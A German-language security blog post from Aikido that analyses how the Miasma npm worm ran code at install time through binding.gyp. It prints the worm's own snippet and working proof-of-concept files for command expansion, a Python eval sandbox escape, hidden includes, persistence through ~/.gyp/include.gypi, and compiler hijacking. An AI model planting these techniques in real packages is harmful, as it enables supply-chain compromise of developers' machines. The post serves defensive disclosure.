Aikido

Moment, was kann binding.gyp eigentlich? Eine Erkundung von npms eigenwilligstem Build-System

Verfasst von
Ilyas Makari

Es ist erst wenige Tage her, dass der Miasma-Angriff 32 offizielle Red Hat-Pakete auf npm getroffen hat. Der Wurm fügte ein bösartiges preinstall Skript zu jedem kompromittierten Paket hinzu, sodass es node index.js automatisch ausgeführt wurde, sobald Sie die Abhängigkeit installierten, und dabei Cloud-Zugangsdaten, CI-Tokens, SSH-Schlüssel und mehr sammelte, noch bevor Sie eine einzige Zeile Ihres eigenen Codes ausgeführt haben.

In den folgenden Tagen verbreitete sich Miasma weit über seine ursprünglichen Ziele hinaus und traf dabei mehrere andere Pakete auf npm, PyPI und GitHub, darunter @vapi-ai/server-sdk (71.000 wöchentliche Downloads) und ai-sdk-ollama (31k wöchentliche Downloads).

Diese neue Welle bringt jedoch einen neuen Trick mit sich.

Wenn Sie eines dieser Pakete auditiert und dessen package.json, angesehen und keinen preinstall oder postinstall Hook gefunden und daraus geschlossen haben, dass die Installation sicher ist, sollten Sie Ihre Annahme überdenken. Die neueste Variante hat ihren Trigger vollständig aus package.json entfernt und in eine weitaus weniger geprüfte Datei verschoben, die npm bei der Installation problemlos für Sie ausführt: binding.gyp.

In diesem Artikel werde ich einen ausführlichen Deep Dive in binding.gyp. Wir werden untersuchen, was es ist, warum npm es ausführt und die überraschende Anzahl von Wegen, wie es missbraucht werden kann, um beliebigen Code auszuführen, von Sandbox-Umgehung zu Compiler-Hijacking, und das alles, während es wie eine unschuldige Build-Datei aussieht.

Was sind node-gyp und binding.gyp?

Viele npm-Pakete sind kein reines JavaScript. Sie liefern native Add-ons, die in C oder C++ geschrieben sind und in ein Binary kompiliert werden müssen, bevor Node sie laden kann. Das für diesen Kompilierungsschritt verantwortliche Tool ist node-gyp, ein plattformübergreifendes Build-Tool, das npm bündelt und für Sie aufruft. Es ist ein Wrapper um GYP, was für Generate Your Projects steht, ein Build-System, das Google ursprünglich für das Chromium-Projekt entwickelt hat. Google hat Chromium jedoch davon abgezogen und die Wartung eingestellt, sodass node-gyp nun auf einem von Node.js gepflegten Fork basiert.

node-gyp weiß, was zu bauen ist, indem es eine Datei namens binding.gyp die im Root-Verzeichnis des Pakets liegt. Es ist eine JSON-ähnliche Datei, die den Build beschreibt (technisch gesehen ein Python-Literal, was später noch wichtig wird). Sie beschreibt, welche Quelldateien kompiliert werden sollen, welche Include-Verzeichnisse zu verwenden sind und so weiter. Eine normale, ehrliche binding.gyp könnte so aussehen:

{
  "targets": [
    {
      "target_name": "addon",
      "sources": ["src/addon.cc"]
    }
  ]
}

Dies kann jedoch leicht zu einem Sicherheitsproblem werden. Wenn npm ein Paket installiert und eine binding.gyp in seinem Root-Verzeichnis, führt es automatisch node-gyp rebuild für dieses Paket als Teil der Installation aus. Das Paket muss kein Skript in package.json registrieren, damit dies geschieht. Die bloße Anwesenheit einer binding.gyp Datei genügt, damit Code während der Installation ausgeführt wird.

Selbst ein Paket mit einem völlig sauberen package.json, ohne jegliche Lifecycle-Hooks, wird die gyp-Toolchain zur Installationszeit auslösen, einfach weil die Datei existiert.

Wie Miasma es ausnutzte

Hier ist ein tatsächlicher Code-Snippet dessen, was der Wurm in die kompromittierten Pakete einschleuste:

{
  "targets": [
    {
      "target_name": "Setup",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}

Auf den ersten Blick liest sich dies wie ein Build-Target namens Setup mit einer einzigen Quelldatei. Schauen Sie genauer auf das sources Array. Anstelle eines einfachen Dateinamens enthält es einen String, der in <!(...).

Das <!(...) Syntax ist eine gyp-Funktion, die als Command Expansion bezeichnet wird. Wenn gyp diese Datei parst, behandelt es den Inhalt nicht als literal String. Es führt den eingeschlossenen Shell-Befehl aus und ersetzt die Ausgabe des Befehls wieder in das Feld.

Wenn also node-gyp verarbeitet das Ziel, führt es aus:

node index.js > /dev/null 2>&1 && echo stub.c

Das bedeutet im Detail:

  • node index.js führt die bösartige Payload aus. Diese index.js ist die gleiche Miasma-Payload, die wir in den früheren Red Hat-Angriffen, der obfuskierte Credential-Stealer und Wurm aus dieser Kampagne.
  • > /dev/null 2>&1 verwirft die gesamte Ausgabe, sodass nichts Verdächtiges in den Installationsprotokollen erscheint.
  • && echo stub.c gibt einen harmlos aussehenden Dateinamen aus. Gyp erfasst dies als Wert des sources Eintrags, sodass der Build fortgesetzt wird und nichts beschädigt aussieht.

Die Payload wird ausgeführt, bleibt unauffällig, und der Build wird normal abgeschlossen. Kein Preinstall-Hook erforderlich.

Die Expansionssyntax und warum sie noch schlimmer ist, als sie aussieht

GYP bietet tatsächlich mehrere Varianten der Befehlsexpansion:

  • <!(command) / >!(command) / ^!(command) –  führt den Befehl aus und ersetzt seine Rohausgabe als einzelnen String.
  • <!@(command) / >!@(command) / ^!@(command) – führt den Befehl aus und teilt seine Ausgabe in eine Liste auf, was praktisch ist, wenn Gyp ein Array erwartet.
  • <!pymod_do_main(module args) – importiert module als Python-Modul und ruft dessen DoMain() Funktion auf, wobei der Rückgabewert als Substitution verwendet wird.
  • <|(name item1 item2 ...) erstellt eine Datei namens Name zur Parse-Zeit, wobei jedes Element in einer eigenen Zeile steht.

Diese werden alle zur Parse-Zeit ausgeführt, bevor überhaupt eine Kompilierung stattfindet.

Intuitiv würde man erwarten, dass dies nur in tatsächlich dokumentierten Feldern wie sources, Bibliotheken oder include_dirs. Diese Intuition ist falsch, und hier wird es interessant.

GYP beschränkt die Befehlserweiterung nicht auf eine bekannte Liste von Feldern. Wenn es eine .gyp Datei lädt, durchläuft es die gesamte geparste Struktur rekursiv und erweitert <!(...) und <!@(...) jeden gefundenen String-Wert, egal unter welchem Schlüssel dieser String liegt. Es gibt kein Schema, das besagt: „Nur diese Feldnamen sind erlaubt.“

In der Praxis bedeutet das, dass ein Angreifer einen Feldnamen erfinden kann (wie some_random_key), der in der GYP-Dokumentation überhaupt nicht existiert, und der darin enthaltene Befehl wird trotzdem ausgeführt:

{
  "some_random_key": "<!(node evil.js && echo 0)",
  "targets": []
}

Es gibt kein some_random_key Feld in GYP. Es muss auch keines sein. Der String unter diesem Schlüssel enthält ein <!(...) Token, der rekursive Expansionsdurchlauf erreicht es, und der Befehl wird ausgeführt. Das macht die Überprüfung so mühsam. Man kann nicht einfach die wenigen Felder überprüfen, die man für gefährlich hält, da die Payload unter jedem Schlüssel und in jeder Tiefe der Datei versteckt sein kann.

Der Sandbox-Escape

Dachten Sie, Befehlserweiterungen wären riskant? Es wird von hier aus nur noch schlimmer.

Bisher haben wir binding.gyp als eine etwas ungewöhnliche JSON-Datei mit einigen zusätzlichen Funktionen. Unter der Haube ist es tatsächlich ein Python-Dictionary, und es übergibt die Datei direkt an Pythons eval(). Sehen Sie, worauf ich hinauswill?

Genau: Die Datei, die npm zur Installationszeit für Sie ausführt, wird von eval. Die GYP-Autoren waren sich bewusst, wie dies missbraucht werden könnte, deshalb nennen sie eval mit den Builtins entfernt:

eval(file_contents, {"__builtins__": {}}, None)

Die Idee ist, dass ein Angreifer, der die gyp-Datei kontrolliert, ohne verfügbare integrierte Funktionen nichts Gefährliches erreichen kann, wie das Ausführen eines Shell-Befehls oder das Lesen von Dateien von der Festplatte. Die Bausteine, die man normalerweise dafür verwenden würde, wie zum Beispiel __import__ zum Laden der os Modul oder open zum Bearbeiten einer Datei, wurden alle entfernt. Es ist eine klassische Sandbox. Doch wie bei fast jedem Versuch, Pythons eval, kann es Escape werden.

Wir können direkt aus dieser Sandbox ausbrechen und GYP dazu bringen, beliebigen Python-Code auszuführen. Hier ist ein vollständiger bösartiger binding.gyp, vollständig:

[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js')

Das ist es. Das ist die ganze Datei. Keine JSON-Syntax ist notwendig. Wir haben keine der üblichen targets oder sources Felder verwendet, die man in einer gyp-Datei erwarten würde. Nur ein einziger Python-Ausdruck. Es funktioniert, weil, bevor node evil.js aufgerufen wird, der Ausdruck einen kleinen Trick anwendet, um aus eval()'s Sandbox auszubrechen.

Die gefährlichen Funktionen wurden entfernt, aber die harmlosen Objekte, die man immer noch manipulieren kann, enthalten stillschweigend versteckte Referenzen auf diese. Ausgehend vom harmlosen leeren Tupel (), springt es durch Pythons interne Objektbeziehungen, bis es etwas findet, das noch eine Referenz auf die entfernten Funktionen enthält, diese greift und damit das importiert os Modul und den Shell-Befehl ausführt node evil.js.

Und dies wird in dem Moment ausgeführt, in dem jemand npm install <package>, rein als Nebeneffekt des gyp-Parsens der Datei.

Da die gesamte gyp-Syntax im Wesentlichen nur ein Python-Wörterbuch ist, kann der Ausdruck in jeden Wert einer ansonsten völlig normal aussehenden Build-Datei eingefügt werden:

{
  "variables": {
    "module_name": "fast_crypto",
    "openssl_fips": [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js') or "",
  },
  "targets": [
    {
      "target_name": "<(module_name)",
      "sources": ["src/binding.cc", "src/crypto.cc"],
      "include_dirs": ["<!(node -p \"require('node-addon-api').include\")"],
      "defines": ["NAPI_VERSION=8"],
    }
  ]
}

Dies ist ein funktionierendes binding.gyp das tatsächlich ein natives Modul erstellen würde. Die Payload ist in der openssl_fips Variable versteckt, so dass sie sich in den Rest der Build-Datei einfügt. Keine <!(...) Befehlserweiterung war notwendig.

Bei Bedingungen verhält es sich ähnlich. GYP ermöglicht es einer Build-Datei, über einen conditions Schlüssel unterschiedliche Einstellungen je nach Umgebung anzuwenden.

"conditions": [
  ["OS=='win'", { "sources": ["socket_win.cc"] }],
  ["OS=='linux'", { "defines": ["LINUX"] }],
]

Diese Bedingungs-Strings, "OS=='win'", sind eigentlich als kleine boolesche Prüfungen gedacht. Doch gyp evaluiert sie auf dieselbe Weise, wie es die Datei parst: Es kompiliert jeden String und führt ihn durch eval(), mit denselben bereinigten Builtins. Das bedeutet, eine Bedingung kann tatsächlich beliebige Python-Ausdrücke enthalten. Mit demselben Sandbox-Escape-Trick können wir das conditions Feld in einen weiteren zu beachtenden Angriffsvektor verwandeln:

"conditions": [
  ["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js') == 0", {}],
]

Wir haben Ihnen gerade gezeigt, wie man binding.gyp in einen beliebigen Code-Executor umwandelt, der zur Installationszeit (ohne Postinstall-Hooks) ausgeführt wird.

Man könnte sich fragen, warum das alles so wichtig ist. Wir haben bereits verschiedene Möglichkeiten, Code zur Installationszeit auszuführen. Es gibt postinstall in package.json. Es gibt Befehlserweiterungen in binding.gyp.

Der Unterschied hierbei ist, dass die echten, dokumentierten Funktionen riskant sind, aber auf eine Weise riskant, die das Ökosystem bereits versteht. Ein Reviewer weiß, dass er das lesen muss Skripte Block in package.json. <!(...) Erweiterungen kennzeichnet. Wir können sie antizipieren, Regeln für sie schreiben und uns gegen sie verteidigen, eben weil sie existieren sollen.

Das Entkommen aus einer Sandbox ist ein anderes Problem, da dies nie beabsichtigt war. Niemand erwartet jemals, binding.gyp dass dort einfach reiner Python-Code gehostet wird, der zur Installationszeit ausgeführt wird.

Code in inkludierten Dateien verstecken

Bisher befand sich jede Payload in einer einzigen binding.gyp Datei. Das muss aber nicht so sein.

binding.gyp unterstützt einen includes Schlüssel. Sein beabsichtigter Zweck ist es, gemeinsame Build-Einstellungen in eine separate Datei auszulagern und diese in mehrere Targets oder Projekte zu integrieren, um Wiederholungen zu vermeiden. Wenn gyp einen includes Eintrag findet, lädt es diese Datei und führt deren Inhalte vor der Verarbeitung mit den aktuellen zusammen.

Der Haken ist, dass die inkludierte Datei genau wie die Haupt- binding.gyp, was bedeutet, dass jeder Expansions- oder Sandbox-Evasion-Trick aus den vorherigen Abschnitten auch darin Anwendung findet. Ein Angreifer kann die Payload aus binding.gyp und in eine inkludierte Datei verschieben, sodass die Hauptdatei wie eine normale Build-Konfigurationsdatei aussieht:

{
  "includes": ["evil"],
  "targets": [...]
}

Die inkludierte schädlich Datei kann dann die eigentliche Payload enthalten, die wiederum unter einem beliebigen Schlüssel, in beliebiger Tiefe der Datei, versteckt werden kann.

{
  "anyrandomname": {
    "somethingarbitrary": "<!(node evil_script.js && echo 0)"
  }
}

Zwei Aspekte machen dies für Angreifer vorteilhaft und für Prüfer problematisch. Erstens kann die inkludierte Datei beliebig benannt werden. Sie benötigt keine .gyp oder .gypi Erweiterung. Sie muss lediglich gültige JSON-formatierte Daten enthalten. Eine Datei, die unauffällig als config oder LICENSE bezeichnet wird, funktioniert genauso gut.

Zweitens, includes sind transitiv. Eine inkludierte Datei kann selbst eine andere Datei inkludieren, die wiederum eine weitere inkludieren kann, und so weiter. Die zur Installationszeit ausgeführte Payload könnte somit drei oder vier Dateien von der binding.gyp entfernt sein, die Sie ursprünglich analysiert haben.

Automatische Inklusionen und Persistenz

Glauben Sie, Sie haben die Funktionsweise von Inklusionen jetzt verstanden? Es gibt einen Haken: Sie benötigen nicht einmal einen includes Schlüssel, da node-gyp einige Dateien von sich aus einbindet.

Wenn node-gyp einen Build konfiguriert, sucht es im Paket-Root nach zwei Dateien, config.gypi und common.gypi, und bindet alle gefundenen Dateien zwangsweise ein, genau so, als hätten Sie sie in includesaufgeführt. Sie werden wie jede andere gyp-Datei verarbeitet, sodass jeder Trick aus den letzten Abschnitten darin funktioniert. Der Haken für einen Prüfer ist, dass nichts in binding.gyp auf sie verweist. Eine binding.gyp kann ein einzelnes leeres Klammerpaar sein und trotzdem eine Payload aus einer Geschwisterdatei ziehen. config.gypi:

{ }
{
  "variables": {
    "anything": "<!(node evil.js && echo 0)"
  }
}

Die erste Datei ist die gesamte binding.gyp. Die zweite ist config.gypi, die unauffällig daneben liegt und bei der Installation ausgeführt wird.

Das ist schlimm, aber das nächste ist noch schlimmer. node-gyp bindet auch automatisch ~/.gyp/include.gypi, das aus dem Home-Verzeichnis des Benutzers aufgelöst wird, in jeden gyp-Build ein, den dieser Benutzer ausführt. Nicht nur dieses Projekt, sondern jedes Projekt. Legen Sie dort einmal eine Payload ab, und sie bleibt bei jeder nativen npm install mit einem binding.gyp den Sie jemals wieder erstellen.

Code über Abhängigkeiten einbinden

Unabhängig von includes, können gyp-Ziele Abhängigkeiten auf andere Ziele deklarieren, die in völlig anderen .gyp Dateien.

Da eine Abhängigkeit auf eine andere gyp-Datei verweist und diese Datei wie jede andere geparst und erweitert wird, bieten Abhängigkeiten einem Angreifer eine zweite, unabhängige Möglichkeit, Code in einer anderen Datei zu erreichen:

{
  "targets": [
    {
      "target_name": "main",
      "type": "none",
      "dependencies": ["dep.gyp:dep_target"]
    }
  ]
}

Die referenzierte dep.gyp Datei hostet dann die Payload innerhalb eines ihrer Ziele:

{
  "targets": [
    {
      "target_name": "dep_target",
      "type": "none",
      "sources": ["<!(node malicious.js && echo stub.c)"]
    }
  ]
}

Wie bei includes, ist der Name der referenzierten Datei irrelevant, solange sie gültige JSON-formatierte Daten enthält. Und genau wie includes, können diese Abhängigkeiten auch transitiv sein.

Compiler-Hijacking

Der binding.gyp kontrolliert auch, wie der native Code gebaut wird, welcher Compiler aufgerufen und welche Flags übergeben werden sollen, und diese Kontrolle wird zu einem eigenen Angriffsvektor.

Ein nativer Build muss wissen, welchen Compiler er verwenden und welche Optionen er übergeben soll. Gyp legt dies an zwei Stellen offen:

  • Einstellungen pro Target wie cflags, definiert, und include_dirs.
  • make_global_settings (Linux / macOS) – ein Top-Level-Block in einer Gyp-Datei, der die Toolchain für den gesamten Build festlegt:
    • dem C-Compiler (CC)
    • dem C++-Compiler (CXX)
    • dem Linker (LINK)
    • dem Archiver (AR)
    • Compiler-Flags (CFLAGS)
    • Linker-Flags (LDFLAGS)

Da die Kompilierung zur Installationszeit erfolgt, könnte ein böswilliger Akteur den Compiler ersetzen und ihn auf sein eigenes Skript verweisen:

{
  "make_global_settings": [
    ["CC", "<(module_root_dir)/cc-evil.sh"]
  ],
  "targets": [
    {
      "target_name": "addon",
      "type": "static_library",
      "sources": ["src/addon.c"]
    }
  ]
}

Nun wird der Build ausgeführt mit cc-evil.sh als Compiler für jeden Kompilierungsschritt, wobei cc-evil.sh könnte so aussehen:

node "$(dirname "$0")/evil.js"
exec cc "$@"

Das Skript kann tun, was immer es möchte (z.B. die Ausführung von evil.js) und ruft dann den echten Compiler auf, sodass der Build weiterhin erfolgreich ist und niemand etwas bemerkt.

GYP hat sogar eine spezielle Konvention dafür, die für Compiler-Launcher wie ccache gedacht ist. Ein *_wrapper Key stellt Ihr Programm vor den echten Compiler:

{
  "make_global_settings": [
    ["CC", "/usr/bin/cc"],
    ["CC_wrapper", "<(module_root_dir)/cc-evil-wrapper.sh"]
  ],
  "targets": [
    {
      "target_name": "addon",
      "type": "static_library",
      "sources": ["src/addon.c"]
    }
  ]
}

Hier führt gyp aus cc-evil-wrapper.sh /usr/bin/cc ..., wobei das bösartige Skript den echten Compiler als Argument erhält.

Darüber hinaus muss ein Angreifer nicht einmal den Compiler ersetzen. Es genügt, ihm Flags zu übergeben, und gyp schreibt diese Flags in die generierte Build-Datei. Bei einem Make-basierten Build werden die Flags zu make Variablen, und make kann einen $(shell) Befehl auswerten, den es darin findet. Ein Flag-Wert kann also gekapert werden, um einen bösartigen Befehl auszuführen.

Es gibt zwei Stellen für die Injektion. Am Ziel selbst, zum Beispiel über cflags (oder xcode_settings auf macOS):

{
  "targets": [
    {
      "target_name": "addon",
      "type": "static_library",
      "sources": ["src/addon.c"],
      "cflags": ["$(shell node <(module_root_dir)/evil.js)"]
    }
  ]
}

Oder global für jedes Ziel, über make_global_settings:

{
  "make_global_settings": [
    ["CFLAGS", "$(shell node <(module_root_dir)/evil.js)"]
  ],
  "targets": [
    {
      "target_name": "addon",
      "type": "static_library",
      "sources": ["src/addon.c"]
    }
  ]
}

Wenn der Build läuft, wird der bösartige $(shell ...) Befehl ausgeführt, und die Ausgabe des Befehls wird als harmloses Flag an den Compiler weitergegeben, sodass der Build erfolgreich fortgesetzt wird.

Der genaue Mechanismus zum Kapern eines Compilers kann je nach Build-Tool und Betriebssystem variieren. Die wichtigste Erkenntnis ist jedoch, dass Compiler- und Linker-Einstellungen als Code behandelt werden sollten, da Build-Tools wie make auswerten können, was sich darin befindet, zur npm install Laufzeit.

Codeausführung durch Aktionen

Bisher basierte jeder Vektor auf Befehlserweiterung, Sandbox-Evasion oder Compiler-Hijacking. GYP verfügt über eine weitere Funktion, die Befehle von Haus aus ausführt: Aktionen.

Eine Aktion ist ein Build-Schritt, der an ein Ziel angehängt ist und einen beliebigen Befehl ausführt, normalerweise um eine Quelldatei zu generieren oder eine Eingabe vor der Kompilierung zu verarbeiten. Es ist eine dokumentierte Funktion, die sich innerhalb des Aktionen Arrays befindet. Jede Aktion benennt einen auszuführenden Befehl, ihre Eingaben und ihre Ausgaben.

Da der Sinn einer Aktion darin besteht, einen Befehl auszuführen, benötigt ein Angreifer hier nicht einmal die Expansionssyntax. Sie können gyp einfach bitten, ihre Payload direkt auszuführen:

{
  "targets": [
    {
      "target_name": "via_actions",
      "type": "none",
      "actions": [
        {
          "action_name": "poc_action",
          "inputs": [],
          "outputs": ["poc_action_done"],
          "action": ["node", "evil.js"]
        }
      ]
    }
  ]
}

Wenn das Ziel gebaut wird, führt gyp node evil.js. Keine <!(...) erforderlich, keine Quelldatei zum Kompilieren, nur ein Build-Schritt, dessen einzige Aufgabe es ist, einen Befehl auszuführen.

Es gibt einen engen Verwandten, den man kennen sollte: Regeln. Eine Regel ist wie eine Aktion, außer dass sie einmal pro Eingabedatei ausgelöst wird, die einer bestimmten Erweiterung entspricht. Zeigt eine Regel auf eine Datei mit der richtigen Erweiterung, wird ihr Befehl für diese Datei ausgeführt:

{
  "targets": [
    {
      "target_name": "via_rules",
      "type": "none",
      "sources": ["trigger.poc"],
      "rules": [
        {
          "rule_name": "poc_rule",
          "extension": "poc",
          "outputs": ["<(RULE_INPUT_ROOT).done"],
          "action": ["node", "evil.js"]
        }
      ]
    }
  ]
}

Hier listet das Ziel eine einzelne Quelldatei auf, trigger.poc. Die Regel besagt, dass für jede Eingabedatei, die auf .poc, gyp ausgeführt werden soll node evil.js. Der Angreifer kontrolliert beide Hälften, sodass er eine Wegwerfdatei mit der passenden Erweiterung liefert, und die Regel wird zur Build-Zeit dagegen ausgelöst. Der Effekt ist derselbe wie bei einer Aktion, wobei der Auslöser eine passende Datei und nicht das Ziel selbst ist.

Es gibt ein drittes Mitglied dieser Familie, postbuilds, einen Befehl, der ausgeführt wird, nachdem ein Ziel erstellt wurde. Er enthält die gleiche Art von Aktion Array:

{
  "targets": [
    {
      "target_name": "via_postbuilds",
      "type": "none",
      "postbuilds": [
        {
          "postbuild_name": "poc_postbuild",
          "action": ["node", "evil.js"]
        }
      ]
    }
  ]
}

Die wichtigste Erkenntnis ist, dass eine binding.gyp Datei führt Code zur Installationszeit aus, genau wie ein preinstall oder postinstall Hook in package.json, daher verdient es genau denselben Verdacht. Das Vorhandensein von binding.gyp in einer Abhängigkeit bedeutet, dass Code während der Installation ausgeführt werden kann, unabhängig davon, was package.json sagt. Eine saubere package.json ohne Installationsskripte ist kein Beweis mehr dafür, dass nichts ausgeführt wird.

Sicherheitsteams sollten hier aufmerksam sein. Die Drahtzieher von Supply-Chain-Angriffen wie Miasma suchen eindeutig nach neuen Wegen, um Code zur Installationszeit auszuführen, und binding.gyp ist leicht zu übersehen, besonders wenn es um undokumentiertes Verhalten geht, wie die Sandbox-Escapes. Es wäre naiv anzunehmen, dass dies das letzte Mal ist, dass wir davon hören werden.

Wie Aikido dies erkennt

Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Die jüngste Miasma-Kampagne, die jetzt Install-Time binding.gyp Ausführung, als ein 100/100 kritisches Problem auftaucht. Aikido führt nächtliche Rescans durch, aber wir empfehlen, sofort einen manuellen Rescan auszulösen, wenn Sie glauben, betroffen zu sein.

Noch kein Aikido-Benutzer? Erstellen Sie ein Konto und verbinden Sie Ihre Repos. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.

Für eine zusätzliche Ebene bietet Ihnen Aikido Device Protection Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind, einschließlich Browser-Erweiterungen, Bibliotheken, Plugins und Abhängigkeiten.

Um ein solches Paket zu stoppen, bevor es den Installationsschritt erreicht, verwenden Sie Aikido Safe Chain (Open Source). Es integriert sich in Ihren bestehenden Workflow, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und Pakete vor der Installation gegen Aikido Intel prüft.

Teilen:

https://www.aikido.dev/blog/exploring-binding-gyp-npm-build-system

Nach Malware scannen

Kostenlos starten
4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.